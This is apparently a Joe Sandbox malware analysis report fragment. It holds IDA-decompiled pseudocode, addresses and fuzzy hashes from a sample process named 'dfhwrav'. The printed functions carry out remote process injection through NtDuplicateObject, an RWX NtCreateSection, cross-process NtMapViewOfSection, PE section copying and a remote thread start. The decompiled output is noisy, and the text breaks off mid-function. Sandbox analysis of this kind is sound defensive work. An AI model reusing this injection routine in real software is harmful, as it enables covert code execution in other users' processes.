						_pop(__eax);
						if(__eflags == 0) {
							goto L42;
						}
						_pop(__eax);
						if (__eflags == 0) goto L31;
						 *__eax =  *__eax + __al;
						_t16 = __eax + 0x1076b6c7;
						 *_t16 =  *(__eax + 0x1076b6c7) + __dl;
						__eflags =  *_t16;
						goto L32;
					}
					L12:
					asm("hlt");
					_push(0x2e46);
					goto L10;
				}
				_t37 =  *(_t30 + 2) & 0x000000ff;
				_t38 = _t37 + 1;
				_push(_t38);
				_t44 = _t44 + 4;
				asm("adc [esi-0x34], bh");
				goto L12;
			}

0x00402f9d
0x00402fa0
0x00402fa2
0x00402fa5
0x00402fa8
0x00402fab
0x00402fab
0x00402fac
0x00402fac
0x00402fad
0x00403021
0x00403021
0x00403023
0x00403024
0x0040304f
0x0040304f
0x0040304f
0x00403026
0x0040302c
0x0040302e
0x00403030
0x00403032
0x00403038
0x00403038
0x0040303a
0x0040303c
0x00403042
0x00403047
0x00403049
0x00000000
0x00403049
0x00402fb0
0x00402fb0
0x00402fb1
0x00402f64
0x00402f64
0x00402f66
0x00402f6f
0x00402f6f
0x00402f71
0x00402f71
0x00402f74
0x00402f74
0x00402f7a
0x00402f7a
0x00402f7c
0x00402f80
0x00402f80
0x00402f80
0x00402f81
0x00402f81
0x00402f83
0x00402f87
0x00000000
0x00402f87
0x00402fb4
0x00402fb8
0x00402fb8
0x00402fb8
0x00402fb8
0x00402fbb
0x00402fbd
0x00402fd0
0x00402fd0
0x00402fd2
0x00402fe4
0x00402fe4
0x00402fe6
0x00402fe8
0x00402fe9
0x00402feb
0x00402fed
0x00402fef
0x00402ff1
0x00402ff3
0x00402ff5
0x00402ff7
0x00402ff7
0x00402ff8
0x00402ffa
0x00402ffd
0x00402ffd
0x00402fff
0x00403000
0x00403000
0x00403001
0x00403003
0x0040300a
0x0040300d
0x0040300f
0x00403011
0x00403011
0x00403013
0x00403014
0x00403014
0x00403014
0x00403014
0x00403014
0x00402fd4
0x00402fd7
0x00402fde
0x00000000
0x00000000
0x00402fe0
0x00000000
0x00402fe0
0x00402fc0
0x00402fc1
0x00000000
0x00000000
0x00402fc4
0x00402fc5
0x00000000
0x00000000
0x00402fc8
0x00402fc9
0x00402fcc
0x00402fce
0x00402fce
0x00402fce
0x00000000
0x00402fce
0x00402f6c
0x00402f6c
0x00402f61
0x00000000
0x00402f61
0x00402f38
0x00402f43
0x00402f4b
0x00402f4f
0x00402f5a
0x00000000

Strings

t, xrefs: 00402FAB

Memory Dump Source

Source File: 00000000.00000002.339575302.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID: t
API String ID: 0-2238339752
Opcode ID: a79a3976ad42dffdb4b9f23f0dcdb041505745a5c7377fe6c1fdeee55a6d18bf
Instruction ID: 40d3aa908a1364c199142bdaba43035be63f35ac776698304478cbb413a6074c
Opcode Fuzzy Hash: a79a3976ad42dffdb4b9f23f0dcdb041505745a5c7377fe6c1fdeee55a6d18bf
Instruction Fuzzy Hash: CA41BB6154D3C38FD3135B34895C2A5BFB1AE132A071D01FBC0859F6E3E2AC498AE74A

Uniqueness

Uniqueness Score: -1.00%

Function 0040138D Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.339575302.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 47018aa94879e589e5fe97380724ec48378f4e4f13e5e080189d20bb99b4c819
Instruction ID: 7859e11a601f830c416081d1a240c1ae4dfaa68c737e7e1d7bde4fb82bf19632
Opcode Fuzzy Hash: 47018aa94879e589e5fe97380724ec48378f4e4f13e5e080189d20bb99b4c819
Instruction Fuzzy Hash: E6216B362042518BE710EE6DD4D0ED8B3A2DB52B15774067BC5529F2F2C67A980BDB82

Uniqueness

Uniqueness Score: -1.00%

Function 004013F5 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.339575302.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a61158bdb70bcea5c699f5fd2d16228c444316d159683ac9316f35b1325f4dcb
Instruction ID: 52e89c93f6fac44c405c4240f06eb528f23f8c213f7340e09f4f92ab712d5060
Opcode Fuzzy Hash: a61158bdb70bcea5c699f5fd2d16228c444316d159683ac9316f35b1325f4dcb
Instruction Fuzzy Hash: 34218B323042118BD710AE6DD4D1DA877A2EF42B19364077BD0426F3E7CA66980BDB92

Uniqueness

Uniqueness Score: -1.00%

Function 00402709 Relevance: .1, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402709(void* __edx) {
				void* _t4;

				 *((intOrPtr*)(_t4 - 0x77)) =  *((intOrPtr*)(_t4 - 0x77)) + __edx;
			}

0x00402709

Memory Dump Source

Source File: 00000000.00000002.339575302.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 87d419d6188a2738e2f2c00dc67292f4fff854e77fabeea3114364b6644172aa
Instruction ID: f49f04df65efdbc823eaba2a273238ec4b787a924c6bca3718e86319e4f4c3e7
Opcode Fuzzy Hash: 87d419d6188a2738e2f2c00dc67292f4fff854e77fabeea3114364b6644172aa
Instruction Fuzzy Hash: 3801683450C204C7C312CAA88699CD9BB52AB52B94B340B7BD0067F7D2C1FF540BA757

Uniqueness

Uniqueness Score: -1.00%

Function 00401400 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.339575302.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0179085889bbd093fbed8a5d9b130a6ebe2f7bf59d996b36afa4c83e22c98bd3
Instruction ID: 100916c23b26695ea2a783252d444d73da3ca1ddec330752f51fd7f26c225d28
Opcode Fuzzy Hash: 0179085889bbd093fbed8a5d9b130a6ebe2f7bf59d996b36afa4c83e22c98bd3
Instruction Fuzzy Hash: 0C1149362082418FDB15EF7DC4E1EC87B72EB02B143660799C0414F3ABCE65940ADF81

Uniqueness

Uniqueness Score: -1.00%

Function 00401427 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.339575302.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b168283bc41ba20acaa4525e017d86fd830f342ba976e04d60df320f1696f26
Instruction ID: 63f5e89b631bd3fb3acc1fb7aaa3163760696b324b3be71f28dbb10fe2a12503
Opcode Fuzzy Hash: 5b168283bc41ba20acaa4525e017d86fd830f342ba976e04d60df320f1696f26
Instruction Fuzzy Hash: 1401F9362446518FD714FE7DC4E0ADCB772EB02B143A50769D0514F3A7CA66980ADB81

Uniqueness

Uniqueness Score: -1.00%

Function 02070D90 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.340103222.0000000002070000.00000040.00001000.00020000.00000000.sdmp, Offset: 02070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2070000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction ID: 66d3bfaf20fd564e0585c70b27a7874832981b92015a23908fb0f7bf5be4acea
Opcode Fuzzy Hash: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction Fuzzy Hash: A5012672E107008FDF22CF60C804BAA33F6FB86206F1542B5D90AD7281E370A841CB84

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: dfhwravPID: 5440, Parent PID: 1064COMMON

Execution Graph

Execution Coverage:	3.8%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	6%
Total number of Nodes:	100
Total number of Limit Nodes:	3

Executed Functions

Function 004014CF Relevance: 10.7, APIs: 7, Instructions: 198
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 58%

			E004014CF(void* __edx, void* __eflags, void* __fp0, intOrPtr _a4, intOrPtr* _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				long _v12;
				void* _v16;
				void* _v20;
				char _v44;
				char _v52;
				long _v56;
				long _v60;
				char _v64;
				char _v68;
				char _v72;
				char _v76;
				char _v84;
				char _v88;
				char _v92;
				intOrPtr _v96;
				char _v100;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t84;
				intOrPtr _t87;
				void* _t90;
				signed int _t91;
				struct _GUID _t98;
				struct _GUID _t100;
				PVOID* _t102;
				PVOID* _t104;
				signed int _t106;
				intOrPtr* _t108;
				PVOID* _t121;
				PVOID* _t123;
				intOrPtr _t127;
				void* _t128;
				signed int _t129;
				void** _t130;
				signed int _t137;
				int _t138;
				signed int _t155;
				signed int _t156;
				signed int _t157;
				signed int _t158;
				signed int _t159;
				void* _t160;
				intOrPtr* _t161;
				void* _t169;
				long _t170;
				intOrPtr _t171;
				void* _t172;
				void* _t177;
				HANDLE* _t178;
				HANDLE* _t179;
				void* _t184;
				intOrPtr* _t187;
				intOrPtr _t190;
				intOrPtr* _t191;
				signed int* _t192;
				signed int* _t193;
				signed int* _t195;
				signed int* _t196;
				long _t211;

				_t216 = __fp0;
				_t154 = __edx;
				_push(0x150b);
				_t84 =  *_t191;
				_t192 = _t191 + 4;
				_t128 = 0x37e;
				E004011BB(_t84, _t128, __edx, _t169, _t177, __eflags, __fp0);
				_t127 = _a4;
				_t170 = 0;
				_v56 = 0;
				if(gs != 0) {
					_v56 = _v56 + 1;
				}
				while(1) {
					_t87 =  *((intOrPtr*)(_t127 + 0x48))();
					if(_t87 != 0) {
						break;
					}
					 *((intOrPtr*)(_t127 + 0x1c))(0x3e8);
				}
				_v96 = _t87;
				_t178 =  &_v100;
				 *_t178 = _t170;
				 *((intOrPtr*)(_t127 + 0x4c))(_t87, _t178);
				_t90 =  *_t178;
				if(_t90 != 0) {
					_t130 =  &_v52;
					 *_t130 = _t90;
					_t130[1] = _t170;
					_t178 =  &_v44;
					 *((intOrPtr*)(_t127 + 0x10))(_t178, 0x18);
					 *_t178 = 0x18;
					_t154 = _t178;
					_push( &_v52);
					_push(_t178);
					_push(0x40);
					_push( &_v20);
					if( *((intOrPtr*)(_t127 + 0x70))() == 0 && NtDuplicateObject(_v20, 0xffffffff, 0xffffffff,  &_v16, _t170, _t170, 2) == 0) {
						_v12 = _t170;
						_t98 =  &_v84;
						 *(_t98 + 4) = _t170;
						 *_t98 = 0x5000;
						_t179 =  &_v88;
						if(NtCreateSection(_t179, 6, _t170, _t98, 4, 0x8000000, _t170) == 0) {
							_push(_v84);
							_pop( *_t25);
							_t121 =  &_v72;
							 *_t121 = _t170;
							if(NtMapViewOfSection( *_t179, 0xffffffff, _t121, _t170, _t170, _t170,  &_v60, 1, _t170, 4) == 0) {
								_t123 =  &_v64;
								 *_t123 = _t170;
								if(NtMapViewOfSection( *_t179, _v16, _t123, _t170, _t170, _t170,  &_v60, 1, _t170, 4) == 0) {
									_t190 = _v72;
									 *((intOrPtr*)(_t127 + 0x20))(_t170, _t190, 0x104);
									 *((intOrPtr*)(_t190 + 0x208)) = _a16;
									_v12 = _v12 + 1;
								}
							}
						}
						_t100 =  &_v84;
						 *(_t100 + 4) = _t170;
						 *_t100 = _a12 + 0x10000;
						_t178 =  &_v92;
						if(NtCreateSection(_t178, 0xe, _t170, _t100, 0x40, 0x8000000, _t170) == 0 && _v12 != 0) {
							_push(_v84);
							_pop( *_t46);
							_t102 =  &_v76;
							 *_t102 = _t170;
							if(NtMapViewOfSection( *_t178, 0xffffffff, _t102, _t170, _t170, _t170,  &_v60, 1, _t170, 4) == 0) {
								_t104 =  &_v68;
								 *_t104 = _t170;
								_t211 = NtMapViewOfSection( *_t178, _v16, _t104, _t170, _t170, _t170,  &_v60, 1, _t170, 0x20);
								if(_t211 == 0) {
									L21();
									if(_t211 == 0 && _t211 != 0) {
										asm("in eax, 0x4a");
									}
									_push(0x2260);
									_t155 =  *_t192;
									_t195 =  &(_t192[1]);
									_push(_t155);
									_t106 =  *_t195;
									_t196 =  &(_t195[1]);
									_t156 = _t155 << 5;
									_t157 = _t156 + _t106;
									asm("lodsb");
									_t158 = _t157;
									asm("loop 0xffffffc3");
									_t159 = _t158 ^ 0xc66a5524;
									_t192 = _t196 - _t159;
									_t184 = _a8 +  *_a8;
									_t137 =  *(_t184 + 6) & 0x0000ffff;
									_push(_t184);
									_t160 = _t184;
									if(_v56 == 0) {
										_t161 = _t160 + 0xf8;
										__eflags = _t161;
									} else {
										_t161 = _t160 + 0x108;
									}
									_push(_t137);
									_t138 =  *(_t161 + 0x10);
									if(_t138 != 0) {
										memcpy( *((intOrPtr*)(_t161 + 0xc)) + _v76,  *((intOrPtr*)(_t161 + 0x14)) + _a8, _t138);
										_t192 =  &(_t192[3]);
									}
									asm("loop 0xffffffe6");
									_pop(_t178);
									_t215 = _v56;
									if(_v56 == 0) {
										_push(_t178);
										_t154 = _t178[0xd] - _v68;
										_t187 = _t178[0x28] + _v76;
										__eflags = _t187;
										while(1) {
											__eflags =  *_t187;
											if( *_t187 == 0) {
												break;
											}
											_t171 =  *_t187;
											_t187 = _t187 + 8;
											asm("lodsw");
											__eflags = 0;
											if(0 != 0) {
												 *((intOrPtr*)(0)) =  *((intOrPtr*)(0)) - _t154;
												__eflags =  *((intOrPtr*)(0 + _v76 + _t171));
											}
											asm("loop 0xffffffe9");
										}
										_pop(_t178);
										_t170 = 0;
										__eflags = 0;
										_t108 =  &_v8;
										 *_t108 = 0;
										 *((intOrPtr*)(_t127 + 0x98))(_v16, 0, 0, 0, 0, 0, _t178[0xa] + _v68, _v64, _t108, 0);
									} else {
										L54();
										_pop(_t172);
										_t170 = _t172 - 0x1781;
										 *((intOrPtr*)(_t170 + 0x17b5)) = _t170 + 0x2c1d;
										E00401256(_t127, _t170 + 0x17b5, _t170, _t178, _t215, _t170 + 0x2c1d, 0x1ad);
										0x33();
										 *((intOrPtr*)(_t170 + 0x17da)) = _t170 + 0x2c6d;
										_t154 = _v16;
										0x33();
									}
								}
							}
						}
					}
				}
				_push(0x150b);
				_t91 =  *_t192;
				_t193 =  &(_t192[1]);
				_push(0x37e);
				_t129 =  *_t193;
				return E004011BB(_t91, _t129, _t154, _t170, _t178, _t215, _t216);
			}

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 0040157E
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015AB
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004015CE
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004015EC
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 0040162D
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 0040165E
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401680

Memory Dump Source

Source File: 00000009.00000002.384823661.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_dfhwrav.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 61270f2820b76154097c11168e410355082364bb205f1f9274eadb9914c2945a
Instruction ID: d7a87560e4518483a9a905c0811b8b4d92cc7fa9c4f71bddd110749a196bc2cc
Opcode Fuzzy Hash: 61270f2820b76154097c11168e410355082364bb205f1f9274eadb9914c2945a
Instruction Fuzzy Hash: 2E615F71900204FBEB219F91CC49FAF7BB8FF85B00F10412AF912BA2E5D6749A41CB65

Uniqueness

Uniqueness Score: -1.00%

Function 004014DB Relevance: 10.7, APIs: 7, Instructions: 171
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 62%

			E004014DB(void* __edx, void* __edi, void* __esi, void* __fp0) {
				void* _t84;
				intOrPtr _t87;
				intOrPtr _t90;
				void* _t93;
				signed int _t94;
				struct _GUID _t101;
				struct _GUID _t103;
				PVOID* _t105;
				PVOID* _t107;
				signed int _t109;
				intOrPtr* _t111;
				PVOID* _t124;
				PVOID* _t126;
				intOrPtr _t131;
				void* _t133;
				signed int _t134;
				void** _t135;
				signed int _t142;
				int _t143;
				signed int _t160;
				signed int _t161;
				signed int _t162;
				signed int _t163;
				signed int _t164;
				void* _t165;
				intOrPtr* _t166;
				long _t175;
				intOrPtr _t177;
				void* _t178;
				HANDLE* _t184;
				HANDLE* _t186;
				void* _t191;
				intOrPtr* _t194;
				void* _t197;
				void* _t198;
				intOrPtr* _t200;
				signed int* _t201;
				signed int* _t202;
				signed int* _t205;
				signed int* _t206;
				void* _t207;
				long _t221;

				_t226 = __fp0;
				_t159 = __edx;
				_t207 = _t84 + 1;
				_push(0x150b);
				_t87 =  *_t200;
				_t201 = _t200 + 4;
				_t133 = 0x37e;
				E004011BB(_t87, _t133, __edx, __edi, __esi, _t207, __fp0);
				_t131 =  *((intOrPtr*)(_t198 + 8));
				_t175 = 0;
				 *((intOrPtr*)(_t198 - 0x34)) = 0;
				if(gs != 0) {
					 *((intOrPtr*)(_t198 - 0x34)) =  *((intOrPtr*)(_t198 - 0x34)) + 1;
				}
				while(1) {
					_t90 =  *((intOrPtr*)(_t131 + 0x48))();
					if(_t90 != 0) {
						break;
					}
					 *((intOrPtr*)(_t131 + 0x1c))(0x3e8);
				}
				 *((intOrPtr*)(_t198 - 0x5c)) = _t90;
				_t184 = _t198 - 0x60;
				 *_t184 = _t175;
				 *((intOrPtr*)(_t131 + 0x4c))(_t90, _t184);
				_t93 =  *_t184;
				if(_t93 != 0) {
					_t135 = _t198 - 0x30;
					 *_t135 = _t93;
					_t135[1] = _t175;
					_t184 = _t198 - 0x28;
					 *((intOrPtr*)(_t131 + 0x10))(_t184, 0x18);
					 *_t184 = 0x18;
					_t159 = _t184;
					_push(_t198 - 0x30);
					_push(_t184);
					_push(0x40);
					_push(_t198 - 0x10);
					if( *((intOrPtr*)(_t131 + 0x70))() == 0 && NtDuplicateObject( *(_t198 - 0x10), 0xffffffff, 0xffffffff, _t198 - 0xc, _t175, _t175, 2) == 0) {
						 *(_t198 - 8) = _t175;
						_t101 = _t198 - 0x50;
						 *(_t101 + 4) = _t175;
						 *_t101 = 0x5000;
						_t186 = _t198 - 0x54;
						if(NtCreateSection(_t186, 6, _t175, _t101, 4, 0x8000000, _t175) == 0) {
							 *_t25 =  *(_t198 - 0x50);
							_t124 = _t198 - 0x44;
							 *_t124 = _t175;
							if(NtMapViewOfSection( *_t186, 0xffffffff, _t124, _t175, _t175, _t175, _t198 - 0x38, 1, _t175, 4) == 0) {
								_t126 = _t198 - 0x3c;
								 *_t126 = _t175;
								if(NtMapViewOfSection( *_t186,  *(_t198 - 0xc), _t126, _t175, _t175, _t175, _t198 - 0x38, 1, _t175, 4) == 0) {
									_t197 =  *(_t198 - 0x44);
									 *((intOrPtr*)(_t131 + 0x20))(_t175, _t197, 0x104);
									 *((intOrPtr*)(_t197 + 0x208)) =  *((intOrPtr*)(_t198 + 0x14));
									 *(_t198 - 8) =  *(_t198 - 8) + 1;
								}
							}
						}
						_t103 = _t198 - 0x50;
						 *(_t103 + 4) = _t175;
						 *_t103 =  *((intOrPtr*)(_t198 + 0x10)) + 0x10000;
						_t184 = _t198 - 0x58;
						if(NtCreateSection(_t184, 0xe, _t175, _t103, 0x40, 0x8000000, _t175) == 0 &&  *(_t198 - 8) != 0) {
							 *_t46 =  *(_t198 - 0x50);
							_t105 = _t198 - 0x48;
							 *_t105 = _t175;
							if(NtMapViewOfSection( *_t184, 0xffffffff, _t105, _t175, _t175, _t175, _t198 - 0x38, 1, _t175, 4) == 0) {
								_t107 = _t198 - 0x40;
								 *_t107 = _t175;
								_t221 = NtMapViewOfSection( *_t184,  *(_t198 - 0xc), _t107, _t175, _t175, _t175, _t198 - 0x38, 1, _t175, 0x20);
								if(_t221 == 0) {
									L20();
									if(_t221 == 0 && _t221 != 0) {
										asm("in eax, 0x4a");
									}
									_push(0x2260);
									_t160 =  *_t201;
									_t205 =  &(_t201[1]);
									_push(_t160);
									_t109 =  *_t205;
									_t206 =  &(_t205[1]);
									_t161 = _t160 << 5;
									_t162 = _t161 + _t109;
									asm("lodsb");
									_t163 = _t162;
									asm("loop 0xffffffc3");
									_t164 = _t163 ^ 0xc66a5524;
									_t201 = _t206 - _t164;
									_t191 =  *((intOrPtr*)(_t198 + 0xc)) +  *((intOrPtr*)( *((intOrPtr*)(_t198 + 0xc))));
									_t142 =  *(_t191 + 6) & 0x0000ffff;
									_push(_t191);
									_t165 = _t191;
									if( *((intOrPtr*)(_t198 - 0x34)) == 0) {
										_t166 = _t165 + 0xf8;
										__eflags = _t166;
									} else {
										_t166 = _t165 + 0x108;
									}
									_push(_t142);
									_t143 =  *(_t166 + 0x10);
									if(_t143 != 0) {
										memcpy( *((intOrPtr*)(_t166 + 0xc)) +  *(_t198 - 0x48),  *((intOrPtr*)(_t166 + 0x14)) +  *((intOrPtr*)(_t198 + 0xc)), _t143);
										_t201 =  &(_t201[3]);
									}
									asm("loop 0xffffffe6");
									_pop(_t184);
									_t225 =  *((intOrPtr*)(_t198 - 0x34));
									if( *((intOrPtr*)(_t198 - 0x34)) == 0) {
										_push(_t184);
										_t159 = _t184[0xd] -  *(_t198 - 0x40);
										_t194 = _t184[0x28] +  *(_t198 - 0x48);
										__eflags = _t194;
										while(1) {
											__eflags =  *_t194;
											if( *_t194 == 0) {
												break;
											}
											_t177 =  *_t194;
											_t194 = _t194 + 8;
											asm("lodsw");
											__eflags = 0;
											if(0 != 0) {
												 *((intOrPtr*)(0)) =  *((intOrPtr*)(0)) - _t159;
												__eflags =  *((intOrPtr*)(0 +  *(_t198 - 0x48) + _t177));
											}
											asm("loop 0xffffffe9");
										}
										_pop(_t184);
										_t175 = 0;
										__eflags = 0;
										_t111 = _t198 - 4;
										 *_t111 = 0;
										 *((intOrPtr*)(_t131 + 0x98))( *(_t198 - 0xc), 0, 0, 0, 0, 0, _t184[0xa] +  *(_t198 - 0x40),  *(_t198 - 0x3c), _t111, 0);
									} else {
										L53();
										_pop(_t178);
										_t175 = _t178 - 0x1781;
										 *((intOrPtr*)(_t175 + 0x17b5)) = _t175 + 0x2c1d;
										E00401256(_t131, _t175 + 0x17b5, _t175, _t184, _t225, _t175 + 0x2c1d, 0x1ad);
										0x33();
										 *((intOrPtr*)(_t175 + 0x17da)) = _t175 + 0x2c6d;
										_t159 =  *(_t198 - 0xc);
										0x33();
									}
								}
							}
						}
					}
				}
				_push(0x150b);
				_t94 =  *_t201;
				_t202 =  &(_t201[1]);
				_push(0x37e);
				_t134 =  *_t202;
				return E004011BB(_t94, _t134, _t159, _t175, _t184, _t225, _t226);
			}

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 0040157E
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015AB
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004015CE
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004015EC
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 0040162D
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 0040165E
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401680

Memory Dump Source

Source File: 00000009.00000002.384823661.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_dfhwrav.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 9918b791cbb1f0ff44df8d0300a116fe7034d9304c3fa806413ff11951633f60
Instruction ID: 3d44a7bbcb2d413b89cc6d66608d23a65ef9d07510e7ee37a771aa04e1e65fe6
Opcode Fuzzy Hash: 9918b791cbb1f0ff44df8d0300a116fe7034d9304c3fa806413ff11951633f60
Instruction Fuzzy Hash: FE5129B5900255BFEB219F91CC48FAFBBB8FF85B00F104159F911AA2A5D6709A41CB24

Uniqueness

Uniqueness Score: -1.00%

Function 004014ED Relevance: 10.7, APIs: 7, Instructions: 170
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 62%

			E004014ED(void* __eax, void* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				intOrPtr _t87;
				intOrPtr _t90;
				void* _t93;
				signed int _t94;
				struct _GUID _t101;
				struct _GUID _t103;
				PVOID* _t105;
				PVOID* _t107;
				signed int _t109;
				intOrPtr* _t111;
				PVOID* _t124;
				PVOID* _t126;
				intOrPtr _t130;
				void* _t134;
				signed int _t135;
				void** _t136;
				signed int _t143;
				int _t144;
				signed int _t161;
				signed int _t162;
				signed int _t163;
				signed int _t164;
				signed int _t165;
				void* _t166;
				intOrPtr* _t167;
				long _t176;
				intOrPtr _t178;
				void* _t179;
				HANDLE* _t185;
				HANDLE* _t187;
				void* _t192;
				intOrPtr* _t195;
				void* _t198;
				void* _t199;
				intOrPtr* _t201;
				signed int* _t202;
				signed int* _t203;
				signed int* _t206;
				signed int* _t207;
				long _t222;

				_t227 = __fp0;
				_t160 = __edx;
				_push(0x150b);
				_t87 =  *_t201;
				_t202 = _t201 + 4;
				_t134 = 0x37e;
				E004011BB(_t87, _t134, __edx, __edi, __esi, __eflags, __fp0);
				_t130 =  *((intOrPtr*)(_t199 + 8));
				_t176 = 0;
				 *((intOrPtr*)(_t199 - 0x34)) = 0;
				if(gs != 0) {
					 *((intOrPtr*)(_t199 - 0x34)) =  *((intOrPtr*)(_t199 - 0x34)) + 1;
				}
				while(1) {
					_t90 =  *((intOrPtr*)(_t130 + 0x48))();
					if(_t90 != 0) {
						break;
					}
					 *((intOrPtr*)(_t130 + 0x1c))(0x3e8);
				}
				 *((intOrPtr*)(_t199 - 0x5c)) = _t90;
				_t185 = _t199 - 0x60;
				 *_t185 = _t176;
				 *((intOrPtr*)(_t130 + 0x4c))(_t90, _t185);
				_t93 =  *_t185;
				if(_t93 != 0) {
					_t136 = _t199 - 0x30;
					 *_t136 = _t93;
					_t136[1] = _t176;
					_t185 = _t199 - 0x28;
					 *((intOrPtr*)(_t130 + 0x10))(_t185, 0x18);
					 *_t185 = 0x18;
					_t160 = _t185;
					_push(_t199 - 0x30);
					_push(_t185);
					_push(0x40);
					_push(_t199 - 0x10);
					if( *((intOrPtr*)(_t130 + 0x70))() == 0 && NtDuplicateObject( *(_t199 - 0x10), 0xffffffff, 0xffffffff, _t199 - 0xc, _t176, _t176, 2) == 0) {
						 *(_t199 - 8) = _t176;
						_t101 = _t199 - 0x50;
						 *(_t101 + 4) = _t176;
						 *_t101 = 0x5000;
						_t187 = _t199 - 0x54;
						if(NtCreateSection(_t187, 6, _t176, _t101, 4, 0x8000000, _t176) == 0) {
							 *_t26 =  *(_t199 - 0x50);
							_t124 = _t199 - 0x44;
							 *_t124 = _t176;
							if(NtMapViewOfSection( *_t187, 0xffffffff, _t124, _t176, _t176, _t176, _t199 - 0x38, 1, _t176, 4) == 0) {
								_t126 = _t199 - 0x3c;
								 *_t126 = _t176;
								if(NtMapViewOfSection( *_t187,  *(_t199 - 0xc), _t126, _t176, _t176, _t176, _t199 - 0x38, 1, _t176, 4) == 0) {
									_t198 =  *(_t199 - 0x44);
									 *((intOrPtr*)(_t130 + 0x20))(_t176, _t198, 0x104);
									 *((intOrPtr*)(_t198 + 0x208)) =  *((intOrPtr*)(_t199 + 0x14));
									 *(_t199 - 8) =  *(_t199 - 8) + 1;
								}
							}
						}
						_t103 = _t199 - 0x50;
						 *(_t103 + 4) = _t176;
						 *_t103 =  *((intOrPtr*)(_t199 + 0x10)) + 0x10000;
						_t185 = _t199 - 0x58;
						if(NtCreateSection(_t185, 0xe, _t176, _t103, 0x40, 0x8000000, _t176) == 0 &&  *(_t199 - 8) != 0) {
							 *_t47 =  *(_t199 - 0x50);
							_t105 = _t199 - 0x48;
							 *_t105 = _t176;
							if(NtMapViewOfSection( *_t185, 0xffffffff, _t105, _t176, _t176, _t176, _t199 - 0x38, 1, _t176, 4) == 0) {
								_t107 = _t199 - 0x40;
								 *_t107 = _t176;
								_t222 = NtMapViewOfSection( *_t185,  *(_t199 - 0xc), _t107, _t176, _t176, _t176, _t199 - 0x38, 1, _t176, 0x20);
								if(_t222 == 0) {
									L21();
									if(_t222 == 0 && _t222 != 0) {
